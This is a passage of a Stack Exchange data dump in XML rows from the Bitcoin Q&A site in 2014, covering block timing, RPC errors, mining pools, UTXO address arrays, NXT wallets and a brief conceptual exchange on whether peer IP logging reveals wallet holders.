it was just a fluke of the random process, just as for example when &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1vkp1x/what_is_the_longest_time_between_blocks_in_the/&quot; rel=&quot;nofollow noreferrer&quot;&gt;it took ~411 minutes to find block 74638&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-09-07T08:07:47.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30423" PostTypeId="2" ParentId="30328" CreationDate="2014-09-07T08:36:02.377" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Block finding is random. The number of blocks in a period of time follows the Poisson distribution. If the average is 10 minutes per block, then the chance of at least 9 blocks in a given 24 minute period is roughly 0.086%. Not a lot but it can happen occasionally. Also, if momentarily the hashrate has increased without the difficulty catching up, the rate, and the probability, will be higher.&lt;/li&gt;&#xA;&lt;li&gt;Yes, 6 confirmations that due to luck took, say, 30 minutes, are even safer than 6 confirmations that took 60 minutes, since the attacker would have had less time to find blocks in his alternative branch.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2014-09-07T08:42:03.413" LastActivityDate="2014-09-07T08:42:03.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30425" PostTypeId="1" CreationDate="2014-09-07T18:10:59.467" Score="1" ViewCount="231" Body="&lt;p&gt;I am getting this error and looking for guidance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error : &lt;code&gt;Most likely you have input the wrong URL, forgotten to add a port, or have not set up workers&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;config&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; server=1&#xA; rpcallowip=192.168.1.0/24&#xA; rpcallowip=192.168.2.0/24&#xA; rpcallowip=127.0.0.1&#xA; rpcport=9050&#xA; rpcuser=someuser &#xA; rpcpassword=somepass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;command&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bfgminer.exe -o 192.168.2.242:9050 -u someuser -p somepass&#xA;bfgminer.exe -o 127.0.0.1:9050 -u someuser -p somepass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19271" LastEditorUserId="2306" LastEditDate="2014-09-17T03:04:07.500" LastActivityDate="2014-09-17T03:04:07.500" Title="bfgminer on bitcoin-qt" Tags="|bitcoin-core|windows|bfgminer|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30426" PostTypeId="1" AcceptedAnswerId="30893" CreationDate="2014-09-07T23:29:37.447" Score="5" ViewCount="139" Body="&lt;p&gt;Recently I built a site that allows purchase of items with bitcoin, also paypal and credit cards.  In testing I haven been struck by how different the experience of purchasing online with bitcoin is vs. traditional methods. It takes much longer from the point of confirmation of sale to the &quot;acceptance&quot; of the payment (the point after which the workflow can move on to fulfillment).  It also takes more user input and action.  It's difficult on the surface of it to understand how this can be the case when transferring value from &lt;em&gt;one person to another&lt;/em&gt; seems so much quicker and easier than traditional alternatives. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It occurs to me that part of the difference may be due to fundamental differences in what is taking place. Is a credit card transaction directly analogous to a bitcoin transaction, or instead does a credit card transaction only match a bitcoin transaction considered along with the bank and other transfers on either end of it? Are there other differences or considerations to make when comparing the two experiences procedurally?  I am unsure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coming up with strongly analogous steps between these two procedures of transferring value from a buyer to a seller might reveal choking points/areas of improvement for Point of Sale with bitcoin or highlight the differential value of bitcoin's approach. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So what are the analogous steps between the two experiences?&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="19273" LastEditorUserId="19273" LastEditDate="2014-09-08T01:44:36.473" LastActivityDate="2017-12-13T17:20:54.993" Title="What are the analogous steps between transfer of value from buyer to seller with traditional P.O.S. solutions vs. with bitcoin" Tags="|website-integration|shopping-cart-interface|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30427" PostTypeId="1" AcceptedAnswerId="30431" CreationDate="2014-09-08T05:51:16.167" Score="1" ViewCount="195" Body="&lt;p&gt;Can one, theoretically, write a program that is similar to a solo miner but instead it just logs IPs of other computers on the bitcoin net to trace IPs that might have bitcoin wallets on them and then to use that list as a preferable hacking list ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think we can differ between 3 types nodes:&#xA;1. people running just the bitcoin client as a wallet&#xA;2. people solo mining&#xA;3. people pool mining&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am almost sure that the 3rd option is not traceable (assuming the pool servers are secure).&#xA;What about the detectability of the first 2 (especially the solo mining).&lt;/p&gt;&#xA;" OwnerUserId="591" LastActivityDate="2016-04-27T15:26:40.023" Title="Tracing solo miners and anonymity" Tags="|privacy|solo-mining|hacking|logging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30428" PostTypeId="2" ParentId="30099" CreationDate="2014-09-08T07:10:52.327" Score="0" Body="&lt;p&gt;Answering myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to be a common problem with MultiBit. The problem however is not with the number of addresses, but with the total number of transactions. They say that because it's a &quot;light wallet&quot;, it will not handle a too great total number of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I may be allowed the opportunity of a rant, to call on this bullshit. The problem is not with the concept of a light wallet, but with the poor software design of MultiBit (and clones). How can they say that because it's light it can't handle too many transactions? The Bitcoin core client can handle any number of transactions while also acting as a full Bitcoin node and while processing the entire blockchain. The light wallet only skims the blockchain to find transactions referencing the addresses in the wallet, and yet for some reason, because it's light, it can't handle many transactions. Dear MultiBit developers, please get a grip!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: You may use the similar light wallet Electrum which does not exhibit this behavior.&lt;/p&gt;&#xA;" OwnerUserId="19016" LastEditorUserId="19016" LastEditDate="2014-09-14T18:50:12.063" LastActivityDate="2014-09-14T18:50:12.063" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30429" PostTypeId="1" CreationDate="2014-09-08T09:48:33.477" Score="3" ViewCount="2328" Body="&lt;p&gt;There doesnt seem to be an API call that returns the public key for my NXT account (with which I have not sent out any coins yet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The NXT wallet does display the public key after I log in, but how do I calculate this public key programmatically?&lt;/p&gt;&#xA;" OwnerUserId="1121" LastEditorUserId="32484" LastEditDate="2016-07-11T12:25:05.603" LastActivityDate="2016-07-11T12:25:05.603" Title="How to generate the public Nextcoin key (NXT)?" Tags="|wallet|public-key|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30430" PostTypeId="1" CreationDate="2014-09-08T16:03:01.257" Score="2" ViewCount="834" Body="&lt;p&gt;I am running latest bitcoin client,  0.9.2.1 - running on 64bit ubuntu..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can start up the bitcoin client, via bitcoin-qt -server or bitcoind -daemon (both have the same behaviors)....&#xA;... once the client is running, my Railo app is making the RPC JSON calls.. The first couple work perfectly, but from that point on, the http calls will simply time out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then I restart the client, well, try to.. upon restarting it, it tells me &quot;cannot obtain a lock on data directory..  bitcoin core is probably already running&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so at this point, it's impossible to gracefully stop the client (I have tried waiting overnight for it to stop, and no go).   If i restart the computer, start the bitcoin client again, I will be able to process a couple commands and then it'll start timing out again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-09-08 17:20:22 AddLocal(73.my.ip.addy:8333,4)&#xA;2014-09-08 17:20:22 ext-ip thread exit&#xA;2014-09-08 17:20:23 146 addresses found from DNS seeds&#xA;2014-09-08 17:20:23 dnsseed thread exit&#xA;2014-09-08 17:20:27 receive version message: /Satoshi:0.9.2.1/: version 70002, blocks=319733, us=73.my.ip.addy:50804, them=74.someone.else.240:8333, peer=74.someone.else.240:8333&#xA;2014-09-08 17:20:27 Added time data, samples 2, offset -1 (+0 minutes)&#xA;2014-09-08 17:20:27 receive version message: /Satoshi:0.9.1/: version 70002, blocks=319733, us=73.my.ip.addy:49165, them=74.someone.else.180:8333, peer=74.someone.else.180:8333&#xA;2014-09-08 17:20:27 Added time data, samples 3, offset -1 (+0 minutes)&#xA;2014-09-08 17:20:39 receive version message: /Satoshi:0.9.2.1/: version 70002, blocks=319733, us=73.my.ip.addy:54101, them=37.someone.else.27:8333, peer=37.someone.else.27:8333&#xA;2014-09-08 17:20:39 Added time data, samples 4, offset -1 (+0 minutes)&#xA;2014-09-08 17:20:43 UpdateTip: new best=0000000000000000092cd65c42a96763e0028edd607555  height=319734  log2_work=80.577054  tx=46257023  date=2014-09-08 17:20:32 progress=1.000000&#xA;2014-09-08 17:20:43 ProcessBlock: ACCEPTED&#xA;2014-09-08 17:20:45 receive version message: /Satoshi:0.9.1/: version 70002, blocks=319734, us=73.my.ip.addy:50345, them=61.someone.else.11:8333, peer=61.someone.else.11:8333&#xA;2014-09-08 17:20:45 Added time data, samples 5, offset +0 (+0 minutes)&#xA;2014-09-08 17:20:45 nTimeOffset = -1  (+0 minutes)&#xA;2014-09-08 17:21:08 receive version message: /mining.bitcoinaffiliatenetwork.com:0.9.2.1/: version 70002, blocks=319734, us=73.my.ip.addy:52554, them=74.soemone.else.12:8333, peer=74.soemone.else.12:8333&#xA;2014-09-08 17:21:08 Added time data, samples 6, offset -1 (+0 minutes)&#xA;2014-09-08 17:21:08 connect() to 173.soemone.else.82:8333 failed after select(): Connection refused (111)&#xA;2014-09-08 17:21:20 receive version message: /Satoshi:0.9.1/: version 70002, blocks=319734, us=73.my.ip.addy:35721, them=46.someone.else.134:8333, peer=46.someone.else.134:8333&#xA;2014-09-08 17:21:20 Added time data, samples 7, offset +0 (+0 minutes)&#xA;2014-09-08 17:21:20 nTimeOffset = -1  (+0 minutes)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;at this point, i do my rpc calls again, and it starts to time out..  so I figure i'll restart the bitcoin client.. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;username@computer:~$ bitcoind -stop&#xA;: Cannot obtain a lock on data directory /home/username/.bitcoin. Bitcoin Core is probably already running.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after I type the above, the log file then shows:&#xA;2014-09-08 17:30:17 : Cannot obtain a lock on data directory /home/mrtom/.bitcoin. Bitcoin Core is probably already running.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-09-08 17:30:17 Shutdown : In progress...&#xA;2014-09-08 17:30:17 StopNode()&#xA;2014-09-08 17:30:17 Shutdown : done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even after reading through the whole log, there are no strong error messages..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe i'm hitting a connection limit or something really fast?&lt;/p&gt;&#xA;" OwnerUserId="19277" LastEditorUserId="19277" LastEditDate="2014-09-08T17:36:08.343" LastActivityDate="2015-02-06T18:14:36.570" Title="bitcoin-qt stops subsequent RPC calls, then won't shut down" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30431" PostTypeId="2" ParentId="30427" CreationDate="2014-09-08T18:08:43.187" Score="3" Body="&lt;p&gt;Not only can you write such a program, you probably already have one.  If you run the standard Bitcoin Core client, you will see that &lt;code&gt;debug.log&lt;/code&gt; logs the IP addresses of every network node it communicates with.  (It's irrelevant whether you use the client for mining or not - even non-mining nodes need to connect to peers, and could keep track of which peers they have found.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the one hand, an attacker could consider these targets more tempting, on the grounds that there might be bitcoins stored on those machines.  On  the other hand, since at present Bitcoin users tend to be more  technically skilled than the general public, these machines might be better secured than the average computer on the Internet, making them harder targets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ordinary clients and solo miners are both likely to run regular Bitcoin clients.  I don't know of any reliable way for an attacker to tell whether a node is mining or not.  The best approach might be for the attacker to have a large number of nodes, each connected to a large number of peers, and watch for the first appearance of a new block.  The first node to have sent out that block is &lt;em&gt;somewhat&lt;/em&gt; more likely to be the miner that found it - but the attacker can't rule out the possibility that that node was simply relaying a block sent to it by someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, it's not clear that a solo miner would be a more profitable target than anyone else on the network - miners don't necessarily store their earned coins on the mining machine.  The attacker could take control of a solo miner and make it mine for her instead, but odds are that she would be discovered long before the miner finds a block.  (She would certainly be discovered as soon as it did find one, when the miner notices that the block reward didn't go to the right place.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pool miners don't need to participate in the peer-to-peer Bitcoin network, so they could not be discovered in this way.   The pool operator can run a regular Bitcoin node that looks no different from any other node.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-09-08T18:08:43.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30432" PostTypeId="1" AcceptedAnswerId="30433" CreationDate="2014-09-08T18:14:31.147" Score="6" ViewCount="2713" Body="&lt;p&gt;As far as I know, mining means verifying transactions and thus keeping the Bitcoin network alive.&#xA;Today, at a local meetup, some people have informed me that mining doesn't need transactions. They said that even if there are no transactions waiting to be verified at all, you can just mine away based on the previous block's &quot;hash&quot;, and as soon as you find the right salt you create a new block.&#xA;That would mean you don't do anything by &quot;mining&quot; except for blowing a bubble. Where is my logic flawed?&lt;/p&gt;&#xA;" OwnerUserId="19279" LastEditorUserId="5406" LastEditDate="2016-04-25T15:31:02.917" LastActivityDate="2018-11-14T11:51:47.127" Title="Can you mine without transactions?" Tags="|security|mining-theory|confirmations|empty-blocks|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30433" PostTypeId="2" ParentId="30432" CreationDate="2014-09-08T18:42:12.347" Score="7" Body="&lt;p&gt;This is essentially correct: the protocol leaves it up to the miner to decide which transactions  to include in a block.  There is no requirement for them to include any transactions at all, other than the &quot;coinbase&quot; transaction which specifies where to send the block reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, most transactions have fees attached, which the miner can collect only by including those transactions in the block.  So this gives the miner an incentive to include transactions if there are any outstanding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that a block with no transactions does still contribute to the security of the currency: it increases the amount of hashing that an attacker would need to do to reverse a transaction recorded in a previous block.  (They would have to produce a chain showing more work than the current one, including the work proved by the zero-transaction block.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/18260/is-mining-acticity-only-exist-if-there-is-bitcoins-transaction?lq=1&quot;&gt;Does mining activity only exist if there are bitcoin transactions?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-09-08T18:42:12.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30435" PostTypeId="2" ParentId="30120" CreationDate="2014-09-09T11:25:10.810" Score="2" Body="&lt;p&gt;Often these CPU miners are flagged by specific AV's heuristics, mainly because the program may be an exe with a hidden CPU mining algorithm within, which if it was any other exe like an image viewer, this suggests nefarious mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, altcoin wallets and miners are notorious for malicious code, and Bitcoin is the target of more than &lt;a href=&quot;http://www.computerworld.com/s/article/9246692/Bitcoin_malware_count_soars_as_cryptocurrency_value_climbs&quot; rel=&quot;nofollow&quot;&gt;100 types of BTC stealing malware&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since cgminer/cudaminer uses &lt;em&gt;scrypt-n&lt;/em&gt; simply find a miner which has been vouched for (ie checksum of the exe should match). &lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2014-09-10T04:41:17.737" LastActivityDate="2014-09-10T04:41:17.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30436" PostTypeId="1" AcceptedAnswerId="30438" CreationDate="2014-09-09T11:35:23.640" Score="1" ViewCount="398" Body="&lt;p&gt;In the &lt;a href=&quot;https://blockchain.info/stats&quot; rel=&quot;nofollow&quot;&gt;stats page&lt;/a&gt; of blockchain.info, I see the revenue of miners is $1,680,297.91. As I understand, its the total money that people have spent on buying their miners. But, i doubt that since its a bit too small compared to the total revenue of Bitcoin market. So I have some questions as following&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is the meaning of that number?&lt;/li&gt;&#xA;&lt;li&gt;How does blockchain.info compute it? Will it be updated frequently?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15178" LastEditorUserId="15412" LastEditDate="2014-09-09T11:56:49.830" LastActivityDate="2014-09-09T11:56:49.830" Title="How does blockchain.info get miner revenue?" Tags="|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30438" PostTypeId="2" ParentId="30436" CreationDate="2014-09-09T11:49:13.107" Score="1" Body="&lt;p&gt;This number means something else then you expect. It is the value of the reward for the miners, so exactly the revenue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will show you how this number is calculated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are (currently, may differ in the future) 144 blocks mined. That means that there are 144*25 = 3600 bitcoins awarded to miners. The value of 1 bitcoin is  $465.07 USD according to the statistic page. The 3600 bitcoins have a total value of $1,674,252 USD. Add a little of the transaction fees (13.41473297 BTC, which is 0.37% according to the statistics page) and this will results in the 1.68 million USD revenue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain can simply calculate all these things from the different blocks, because everything is also on the site. &lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-09-09T11:49:13.107" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30439" PostTypeId="2" ParentId="30295" CreationDate="2014-09-09T12:44:04.637" Score="7" Body="&lt;p&gt;If we're talking about smart contracts and such (which we are) then there's no text to search from contracts and such. The digital contract functionality doesn't work like Blockchain.info &lt;em&gt;comments&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're going to use the Blockchain to lodge a patent for example, you're not uploading the actual patent. A hash is being made of the time (ie perhaps the hash of block at that height) and a hash of the document, which is then concatenated and then hashed again. So at it's simplest it's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hash( hash(Blockchain time data) + hash(Document))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Think of it like this: the patent is in an envelope. The envelope is sealed with wax and stamped with a stamp referencing:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;proof of time and &lt;/li&gt;&#xA;&lt;li&gt;proof of envelope's contents&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The text inside the envelope isn't searchable, whilst Blockchain.info comments (analogous to post-it notes in an accounting ledger) might be, though the usefulness is not the same.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-09-09T12:44:04.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30440" PostTypeId="1" CreationDate="2014-09-09T13:53:07.160" Score="1" ViewCount="403" Body="&lt;p&gt;I'm building a service which does some automatic Bitcoin transactions and balance checking. In the system I now created some logging, which told me that my bitcoind daemon (running on Ubuntu 14.04 server) gave an error code -9 when running the following command &lt;code&gt;bitcoind getbalance&lt;/code&gt;. In the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/rpcprotocol.h#L57&quot; rel=&quot;nofollow&quot;&gt;bitcoind source&lt;/a&gt; I found error code 9 described as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RPC_CLIENT_NOT_CONNECTED = -9, // Bitcoin is not connected&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;About this I have 3 simple questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First: what does this mean? I'm running the command on the same machine where the daemon is running, so no remote connection needed.&lt;/li&gt;&#xA;&lt;li&gt;Secondly; how can this happen? Why does a stable running bitcoind daemon suddenly gets disconnected?&lt;/li&gt;&#xA;&lt;li&gt;And most importantly; how can I prevent this from happening?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All tips are welcome!&lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2015-04-19T09:33:52.307" Title="What does this mean? RPC_CLIENT_NOT_CONNECTED = -9, // Bitcoin is not connected" Tags="|bitcoind|error|connection|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30442" PostTypeId="1" AcceptedAnswerId="30453" CreationDate="2014-09-09T15:21:25.720" Score="2" ViewCount="1396" Body="&lt;p&gt;The 'decoderawtransaction' RPC method of the Bitcoin-QT client gives a JSON object with an array of addresses in each UTXO. For example, when I run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;decoderawtransaction &quot;01000000010fb72b5d299f095c3d3abc2130f20ce59d0ed08d56b3f247d6ae554f200eb561010000006a473044022073717edfcde0200f8aca33b6ff4f60a4aa84c6692cd1713876d94f3f19013f6d022057610074eef8285082cb9943913040031869cc98bc71642a3dc5e085a19a1805012103f071bc0f54b95e9049ba515f19cbfb647605a9f1d2f002b4e70ec548af5fbf5bffffffff02b02bc37d010000001976a9148037b2fd4114347070236b37f792966ade2bc4a688acd0ce4101000000001976a914336e5078d05a350fb5e6cdf8fc15d826e625423888ac00000000&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get back the following JSON:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{  &#xA;  ...&#xA;  &quot;vout&quot;:[  &#xA;    {  &#xA;      &quot;value&quot;:64.04910000,&#xA;      &quot;n&quot;:0,&#xA;      &quot;scriptPubKey&quot;:{  &#xA;        &quot;asm&quot;:&quot;OP_DUP OP_HASH160 8037b2fd4114347070236b37f792966ade2bc4a6 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;        &quot;hex&quot;:&quot;76a9148037b2fd4114347070236b37f792966ade2bc4a688ac&quot;,&#xA;        &quot;reqSigs&quot;:1,&#xA;        &quot;type&quot;:&quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot;:[  &#xA;          &quot;1CgxDbrb9d18DFvQn6DW8ij3c6ARpipehU&quot;&#xA;        ]&#xA;      }&#xA;    }&#xA;  ]&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see here that &quot;addresses&quot; is an array. Why is this an array? Can one UTXO send to multiple addresses? I know P2SH addresses can pay to an address that can be redeemed by the use of multiple addresses, but I'm wondering about sending to multiple addresses without the use of P2SH addressses. What would be the format of the scriptSig/scriptPubKey for doing so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you only have the P2SH address, then can you determine what the requirements for redeeming from that address are? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-09-10T16:21:51.423" LastActivityDate="2014-09-10T16:21:51.423" Title="Multiple Addresses in one UTXO" Tags="|script|utxo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30443" PostTypeId="1" AcceptedAnswerId="37537" CreationDate="2014-09-09T15:38:41.700" Score="0" ViewCount="57" Body="&lt;p&gt;When upgrading NXT, which files do I need to copy over that contain the NXT address book contacts? What other vital files should i copy over from the old version?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-09-20T07:52:41.743" Title="In NXT, which files store the contact addressbook data?" Tags="|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30444" PostTypeId="2" ParentId="30442" CreationDate="2014-09-09T15:48:02.280" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can one UTXO send to multiple addresses?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. UTXO &lt;strong&gt;is&lt;/strong&gt; a destination/address/output/scriptPubKey/...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I know P2SH addresses can pay to multiple address&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Wrong. P2SH outputs can be redeemed by holders of several (even none) private keys. P2SH-output is not splitting funds.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;P2SH address, then can you determine what the requirements for redeeming from that address are?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ususaly, no. Sometimes google and other search engines can help. P2SH-address is a hash of unknown script. It is not possible to construct script back from its hash.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-09-09T15:48:02.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30445" PostTypeId="1" AcceptedAnswerId="35551" CreationDate="2014-09-09T17:39:41.430" Score="0" ViewCount="147" Body="&lt;p&gt;I'm doing some research on the decentralized exchange multigateway on the NXT platform. I was wondering what are the pros/cons of this service compared to centralized exchanges like cryptsy?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-03-19T07:07:49.040" Title="What are the pros/cons of the Multigateway service on NXT?" Tags="|nxt|decentralization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30446" PostTypeId="1" AcceptedAnswerId="32240" CreationDate="2014-09-09T17:55:04.553" Score="1" ViewCount="119" Body="&lt;p&gt;I am curious of how would one audit the mgwBTC multigateway for nxt to make sure they aren't doing fractional reserve. They say its backed by 100% deposits, but how can we verify such claims? i want to use the platform, but I'm sure others have similar concerns of trust. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They say this eliminates another mtgox fiasco, but just to be sure everyone should be able to audit multigateway's internal books to make sure its really 100% backed by deposits. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-10-31T09:27:07.027" Title="How would one audit that the mgwBTC - Multigateway assets are backed by 100% Bitcoins?" Tags="|nxt|mgw|multigateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30447" PostTypeId="1" CreationDate="2014-09-09T21:03:38.070" Score="2" ViewCount="553" Body="&lt;p&gt;Folks, I've been mining with a locally setup p2pool setup using bitcoind v0.9.0rc1-beta, p2pool version 13.4-14-g7aa75ce-dirty and bfgminer on another host. Been mining for about 7 months with 6GH which paid about 80m overall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past few months, the global pool has grown to an insane 3.2 Peta and the payout dropped to nothing at all. I did upgrade to about 65GH a couple weeks ago which obviously is still a drop in the water. There has been zero payout over the past 2 months even though the local DOA is low (mostly less than 5%, typically 4). The point is that in 7 months, there's been 28 total shares found with 3 orphaned and 5 dead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty other articles here talking about p2pool not being best for &quot;low&quot; hash rates. Can anyone recommend fair alternatives? There's another post here that explores a patched version of p2pool with adaptive difficulty and there are other pools which claim to remain decentralized (eligius and bitpenny).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anyone care to share their luck (or lack thereof) with p2pool and or other alternatives?&lt;/p&gt;&#xA;" OwnerUserId="19287" LastActivityDate="2015-02-25T10:59:59.017" Title="P2Pool still worth mining?" Tags="|mining-pools|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30451" PostTypeId="1" AcceptedAnswerId="30489" CreationDate="2014-09-10T09:26:36.837" Score="1" ViewCount="445" Body="&lt;p&gt;I have a bitcoin address. How do I get it's balance and the amount of BTC (preferably in Satoshi) it's ever sent and received? I &lt;strong&gt;don't&lt;/strong&gt; want to use any &lt;strong&gt;third-party&lt;/strong&gt; bitcoin services, I want to do it as &lt;strong&gt;directly&lt;/strong&gt; as possible. How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="9732" LastActivityDate="2014-09-12T17:04:29.170" Title="Obtain the information about a bitcoin address" Tags="|balance|sending|receiving|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
